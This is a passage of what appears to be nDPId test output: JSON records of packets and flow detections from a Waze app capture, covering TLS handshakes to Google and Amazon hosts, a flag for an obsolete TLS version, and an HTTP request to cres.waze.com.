DlJuUg7YiF\/CjcD6zVDTW+7h4nNOQ2xHUP3sckFffsmY7nc5t0uUq5TnPNmTXVvyHO9bh3HT0d1XUUKABkJCdixqZF1rqs5i1orCI8RpRWEN+FZm85jtpy0E\/m2KPR7Je\/dlWqUrRhavjaUOHqqVqLOJTY1WHAjPrK1i9gG2jA8jlNJ+Y73j2N3hUWV4FM4si3s5yXHH1hlGcWloWl5ZAQq4W8goZKjppu2CqWneiBvobHkZPvpVyPrX9RM1So8mJKdiS2lR5cdZbfjuApWhaToUqBq0GBFRIrIQaGfPWvZzFrRCMVADUnQUVntIX8WxudCwKDYnEKbvWeXSK4zDI0W3bYR3F9aeaQpRJGvZU69dBctsRT1MpWbRCBdrEdBNScfdPy9lQ5ZnCz3BLZl9o\/wpSlsyGVh6FNaOjrD6fZcQeHjWtm8bbVEyu2g4oYK73hnUdxSW8hxey5sWQENXZZMWYtCRokOlJQVaAd3jTqX7flLJwzEUazc2hW45GVS+YviMZnTKcAuGKMnVP5zaJCpbKCeSnWV7k7R29tMW7zE9xw3Aikwe0POhXiDWQrLinTll8xLNa7l1HuSOLjzJVAtqAeKUlQ1WVd+p0rq5euZsRbHUzlLSeUFz0EtltwvK2n0u2fplY7XKHFuVOfVJDZ7FbFr4qT6qXa+m12PIUm4svsRRzNYSME6cTLbdJGS5LPN4yqanY7MKdrTLX9mOjQbU+A9XPVS9f7Q7KiiD2xjVqx2T2mNWMv8AoKWjEVEIyvDxohOfdfwb3yPYV8\/5XL+p8HveivRPDKx0t\/1aP+ke27+jfhPbP7\/fWuo8Z8X3ZzLT+AeH7cpdk+HhWM2nqiEVEJ\/\/2Q=="} +00641{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":54724,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ABoRAAACABoRAAABCABFAADWcVlAAEAGms0KCAABrcJ2MI7pAburox2AVFzigVAY\/\/9mQwAAFgMBAKkBAAClAwGlXtzD4CYR60HmpO3Epp6iuyOtJr59nHMXn8J60vKduCBvCKEM0sorljArU6qw4dCFWjF23JNAwYV6Z6lEcvF3aQAcwAnACsATwBQAMwA5ADIAOMAHwBEALwA1AAUA\/wEAAEAACwAEAwABAgAKADQAMgAOAA0AGQALAAwAGAAJAAoAFgAXAAgABgAHABQAFQAEAAUAEgATAAEAAgADAA8AEAAR"} +00727{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":32,"source":"waze.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":4,"flow_first_seen":1435587868996,"flow_last_seen":1435587869054,"flow_tot_l4_data_len":274,"flow_min_l4_data_len":20,"flow_max_l4_data_len":194,"flow_avg_l4_data_len":68,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.194.118.48","src_port":36585,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f8f5b71e02603b283e55b50d17ede861","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00406{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":54928,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodHxAABAGyFitwnYwCggAAQG7julUXOKBq6MeLlAQ\/\/\/whAAA"} +00407{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":55189,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo15FAAEAGPqMKCAABNubjrLHZAFCatrvlZUlQIVAQ\/\/\/NCAAA"} +00407{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":55656,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodH1AABAG0bc25uOsCggAAQBQsdllSVAhmra75VAR\/\/\/NBwAA"} +00655{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":106324,"pkt_caplen":236,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":236,"pkt_l4_len":202,"pkt":"ABoRAAACABoRAAABCABFAADeH6tAAEAGNH0KCAABLjOtto0GAbtbbHOupJOMU1AY\/\/9DnQAAFgMBALEBAACtAwGHsWGgHOt8dG+f+uI0AkWsU3L2DLrIYI7d\/JEa4+8W9QAAQMAUwArAIsAhADkAOMAgwA\/ABQA1wBLACMAcwBsAFgATwBrADcADAAoABcATwAnAH8AeADMAMsAdwA7ABAAvAP8BAABEAAsABAMAAQIACgA0ADIADgANABkACwAMABgACQAKABYAFwAIAAYABwAUABUABAAFABIAEwABAAIAAwAPABAAEQAjAAA="} +00729{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":36,"source":"waze.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":4,"flow_first_seen":1435587868635,"flow_last_seen":1435587869106,"flow_tot_l4_data_len":282,"flow_min_l4_data_len":20,"flow_max_l4_data_len":202,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"46.51.173.182","src_port":36102,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00406{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":106781,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodH5AABAGEGAuM622CggAAQG7jQakk4xTW2x0ZFAQ\/\/86aQAA"} +00591{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":107169,"pkt_caplen":187,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":187,"pkt_l4_len":153,"pkt":"ABoRAAACABoRAAABCABFAACtdH9AABAGx9CtwnYwCggAAQG7julUXOKBq6MeLlAY\/\/9aKwAAFgMBAFECAABNAwFVkVUdTZdNQZ4vLa\/vFFCecMZjU0GJsAgafF+WvV97nSBvCKEM0sorljArU6qw4dCFWjF23JNAwYV6Z6lEcvF3acARAAAF\/wEAAQAUAwEAAQEWAwEAJNog+Fm3DNfNFmROpYXuJw9xo8XNwqprowJ+Om9jMAaOVABf4g=="} +00774{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":38,"source":"waze.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":6,"flow_first_seen":1435587868996,"flow_last_seen":1435587869107,"flow_tot_l4_data_len":447,"flow_min_l4_data_len":20,"flow_max_l4_data_len":194,"flow_avg_l4_data_len":74,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.194.118.48","src_port":36585,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f8f5b71e02603b283e55b50d17ede861","ja3s":"23f1f6e2f0015c166df49fdab4280370","unsafe_cipher":2,"cipher":"TLS_ECDHE_RSA_WITH_RC4_128_SHA"}} +00408{"flow_id":4,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":108256,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo15JAAEAGPqIKCAABNubjrLHZAFCatrvlZUlQIlAQ\/\/\/NBwAA"} +00408{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":108709,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAocVpAAEAGm3oKCAABrcJ2MI7pAburox4uVFzjBlAQ\/\/\/v\/wAA"} +00476{"flow_id":7,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":108839,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"ABoRAAACABoRAAABCABFAABXcVtAAEAGm0oKCAABrcJ2MI7pAburox4uVFzjBlAY\/\/\/hJQAAFAMBAAEBFgMBACTBPx2ymvoFQmAuJHwqIX\/9mxl\/ucrNp\/rFjciYy7qxtwjVS7w="} +00407{"flow_id":7,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":109774,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodIBAABAGyFStwnYwCggAAQG7julUXOMGq6MeXVAQ\/\/\/v0AAA"} +01116{"flow_id":7,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":160337,"pkt_caplen":572,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":572,"pkt_l4_len":538,"pkt":"ABoRAAACABoRAAABCABFAAIucVxAAEAGmXIKCAABrcJ2MI7pAburox5dVFzjBlAY\/\/\/VcAAAFwMBAgHn6yU\/Bye2QCrSv+tAQBT5x\/b6gNe1koJDaGUXJDAk8ZueP5pslAIBknv3cNieFdp+IAnX34ZO6JX2+Rn5rnPCEv5c+Gpt7Fe18ktJ7k+jlAJeCFrLi1RL+iZJl\/BrCbAbAZpTOwCGxhK3qgCk5mulpTdbIns4EdmtY+ElJxIOA\/Kdk\/VeFYGtUaln3EYo7z6B8ge9nGzVLMu4SuvTZdcPva4YccM4a1lXhBKl2JBJeTi\/xVTYErRIL8bTKwE1hIFD40TFynCXgb\/lQuvmVGItH9p4BHKM0tpAA5UAvEeEpbRgCvZE6WRnWwfjw7qZw0f717ryaahMtI3B+f4dNH4qjKzM\/siiLj9hpzP4m+hVP63nBQvHBYMreB9S2y2E9JNtbSh5LYqdiDiFWUulySczKUZuh4XL5rUl92hPKxlos+PWSh+isfxD8y4QG\/OET0\/TUshMzBMyIP0qpZNORHtlJBP0GA6VgC2EQ3Gx1PKq5cBg8bzKjE8uLEZPX6Y1rtr6jUV7KFGtxcgBBOMatpBt996O3P5kk5veYF+L5a\/arhOOsndDMGIOwqxfPj4EuQNzjn9NBKFhlJUHqY0NZ1+l66U6eogtfA8kHddLiBLw+B\/xiY6\/+DR659aerhBO4z0IL4QVZvRNXSNyuBgeokSVfoTg0tmPwwYqpJBEMEkkRtk="} +00408{"flow_id":7,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":160812,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodIFAABAGyFOtwnYwCggAAQG7julUXOMGq6MgY1AQ\/\/\/tygAA"} +00408{"flow_id":4,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":161225,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo15NAAEAGPqEKCAABNubjrLHZAFCatrvlZUlQIlAR\/\/\/NBgAA"} +00408{"flow_id":4,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":161775,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodIJAABAG0bI25uOsCggAAQBQsdllSVAimra75lAQ\/\/\/NBgAA"} +00466{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":49,"source":"waze.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1435587869162,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"54.230.227.172","src_port":45536,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":162594,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8XmhAAEAGt7gKCAABNubjrLHgAFDjpDJQAAAAAKAC\/\/\/u\/QAAAgQFtAQCCAoACGw4AAAAAAEDAwg="} +00407{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":163745,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodIRAABAG0bA25uOsCggAAQBQseAcW82v46QyUVAS\/\/\/ZBQAA"} +00407{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":163885,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoXmlAAEAGt8sKCAABNubjrLHgAFDjpDJRHFvNsFAQ\/\/\/ZBgAA"} +00597{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":165386,"pkt_caplen":194,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":194,"pkt_l4_len":160,"pkt":"ABoRAAACABoRAAABCABFAAC0XmpAAEAGtz4KCAABNubjrLHgAFDjpDJRHFvNsFAY\/\/8QEAAAR0VUIC9sYW5nX2Fzci9sYW5nLnBvcnR1Z3Vlc2VfYnJfYXNyIEhUVFAvMS4wDQpIb3N0OiBjcmVzLndhemUuY29tDQpVc2VyLUFnZW50OiAvMy45LjQuMA0KSWYtTW9kaWZpZWQtU2luY2U6IFR1ZSwgMjggQXByIDIwMTUgMTQ6NTA6MjUgR01UDQo="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":52,"source":"waze.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":4,"flow_first_seen":1435587869162,"flow_last_seen":1435587869165,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":20,"flow_max_l4_data_len":160,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"54.230.227.172","src_port":45536,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Waze","breed":"Acceptable","category":"Web"},"http": {"hostname":"cres.waze.com","url":"cres.waze.com\/lang_asr\/lang.portuguese_br_asr","code":0,"content_type":"","user_agent":"\/3.9.4.0"}} +00407{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":165848,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodIVAABAG0a825uOsCggAAQBQseAcW82w46Qy3VAQ\/\/\/YegAA"} +00411{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":166078,"pkt_caplen":56,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":56,"pkt_l4_len":22,"pkt":"ABoRAAACABoRAAABCABFAAAqXmtAAEAGt8cKCAABNubjrLHgAFDjpDLdHFvNsFAY\/\/\/LZgAADQo="} +00407{"flow_id":8,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":166236,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodIZAABAG0a425uOsCggAAQBQseAcW82w46Qy31AQ\/\/\/YeAAA"} +00933{"flow_id":8,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":250533,"pkt_caplen":447,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":447,"pkt_l4_len":413,"pkt":"ABoRAAACABoRAAABCABFAAGxdIdAABAG0CQ25uOsCggAAQBQseAcW82w46Qy31AY\/\/9l4AAASFRUUC8xLjEgMzA0IE5vdCBNb2RpZmllZA0KQ29ubmVjdGlvbjogY2xvc2UNCkRhdGU6IE1vbiwgMjkgSnVuIDIwMTUgMTQ6MjQ6MjkgR01UDQp4LWFtei1tZXRhLWNyZWF0b3I6IEN5YmVyZHVjaw0KQ2FjaGUtQ29udHJvbDogcHVibGljLG1heC1hZ2U9MzAwDQpFVGFnOiAiMDVkMDE1NTllM2FiNGI4MDM3YmQ0YTRkZTA0YjIxODIiDQpTZXJ2ZXI6IEFtYXpvblMzDQpBZ2U6IDIzMw0KWC1DYWNoZTogSGl0IGZyb20gY2xvdWRmcm9udA0KVmlhOiAxLjEgODdmYjQ1M2ZmNjcxZjA0YTE0MTAzMWE3NTBlMGEyZTcuY2xvdWRmcm9udC5uZXQgKENsb3VkRnJvbnQpDQpYLUFtei1DZi1JZDogd01DVC1uakE3SHc0Vl9lQm1lWUc1WmN5QzQ1WWpjVUNpaU5lbl83a1lCNDhWWmdfa1laOHJRPT0NCg0K"} +00407{"flow_id":8,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":300962,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoXmxAAEAGt8gKCAABNubjrLHgAFDjpDLfHFvPOVAQ\/\/\/W7wAA"} +00408{"flow_id":8,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":301393,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodIhAABAG0aw25uOsCggAAQBQseAcW88546Qy31AR\/\/\/W7gAA"} +00408{"flow_id":8,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":301641,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoXm1AAEAGt8cKCAABNubjrLHgAFDjpDLfHFvPOVAR\/\/\/W7gAA"} +00408{"flow_id":8,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":301860,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodIlAABAG0as25uOsCggAAQBQseAcW88546Qy4FAQ\/\/\/W7gAA"} +00408{"flow_id":8,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":302057,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodIpAABAG0ao25uOsCggAAQBQseAcW88546Qy4FAR\/\/\/W7QAA"} +00408{"flow_id":8,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":302175,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoXm5AAEAGt8YKCAABNubjrLHgAFDjpDLgHFvPOlAQ\/\/\/W7QAA"} +00408{"flow_id":8,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":302269,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoXm9AAEAGt8UKCAABNubjrLHgAFDjpDLgHFvPOlAQ\/\/\/W7QAA"} +01151{"flow_id":7,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":349566,"pkt_caplen":602,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":602,"pkt_l4_len":568,"pkt":"ABoRAAACABoRAAABCABFAAJMdItAABAGxiWtwnYwCggAAQG7julUXOMGq6MgY1AY\/\/9NtAAAFwMBAh8SCnfPwGJEd\/29jMiS4f1KqUh9GmDtDXk89brrlgaIMwR+FIY3syWRSAsWWofvrEBzc9V5y9pleJN2h4MEuTxVRBw7SshXVsmx+oSDnX1YGL+HGMfU6U9CV6Dg0HxgBytU2dbSehZLtQ5F5ATuB22hxsIQlqtLigvEWztINy9ZOVst7oaico2M8l2qdsxFtqCCQ1X9VLSxIqyULT8uVWfkKMrxfNtvgG7KDwwIvhsXG6e62fPF37iscR\/G89OSBeK\/KvOhLEIbn1IXInoEoQFFb5mAtNF3kQZ9D+T8QayCcP35+r2PlSz6rESvcJj2E6c2wWXCAEdOPxMk35m57E\/3uu4SwXQ5y5w5\/KTMS3j\/40TzYhjggOUcWNzofkc3c3K2rf6gMhAy+Se1ICDOLwhrbvX3DbQDxofvIYYxCRTRotloQJpNGPa+MuGQvdT15lcishlBhwuipOXTG0\/8XG5A7qXd6pgGsjJ61LOP3QJYaUzSwrRd0q85WoUGuLXYFmtIw0HHeN9CrNsfa1eyCCC7Fo0+WFOS050R8CDAUAwauhr2xOmJMHf\/oGEG02oDIidj8UgGqlaUIPLVBzO3H1FDE1dZoDte+F59AhR\/CjOzsZJY+dGesUbOHXRUWyJMaYKk7FK7NszqbSJaMedKBkHbtW29x9IYbdoBaWfUbDGfWfx7sAJihJbIWKiH6+ZVJW5TQX2fGcyf48xqMj+QGII="} +00408{"flow_id":7,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":400451,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAocV1AAEAGm3cKCAABrcJ2MI7pAburoyBjVFzlKlAQ\/\/\/rpgAA"} +01776{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":425938,"pkt_caplen":1066,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1066,"pkt_l4_len":1032,"pkt":"ABoRAAACABoRAAABCABFAAQcdIxAABAGDF4uM622CggAAQG7jQakk4xTW2x0ZFAY\/\/9J2QAAFgMBADUCAAAxAwH9mF72oxu76M+yQHYrXOQ0cqC6GWlKoWmFTaoyeqnTQQAANQAACf8BAAEAACMAABYDAQwDCwAL\/wAL\/AAEfjCCBHowggNioAMCAQICCHZ4M8fShJA1MA0GCSqGSIb3DQEBBQUAMEkxCzAJBgNVBAYTAlVTMRMwEQYDVQQKEwpHb29nbGUgSW5jMSUwIwYDVQQDExxHb29nbGUgSW50ZXJuZXQgQXV0aG9yaXR5IEcyMB4XDTE0MTEwNjE2MDkyMFoXDTE1MTEwNjE2MDkyMFowajELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDU1vdW50YWluIFZpZXcxEzARBgNVBAoMCkdvb2dsZSBJbmMxGTAXBgNVBAMMECoud29ybGQud2F6ZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC5dfWK79dCVb2w7\/g3HRrN4i9qgMlhgQofXQQXw0gD87T9syXmF5pz0Cwmmw7pjObFe\/feCHhP5Q5TYPxHvQFVRms3bi3u+ghHQQErMDQ+nN0nE87Jr74s0kO4gi5kxlnWO5u\/CLx56XE08DG89cYwLep2yXaw7FpQ88oYQg1iuiHwkbjtoRpijShFrwII4yGENpw3VHkb6Fx\/gAEFaQxZm6zeckwQ1HY64ImqtGYTIGt4mDB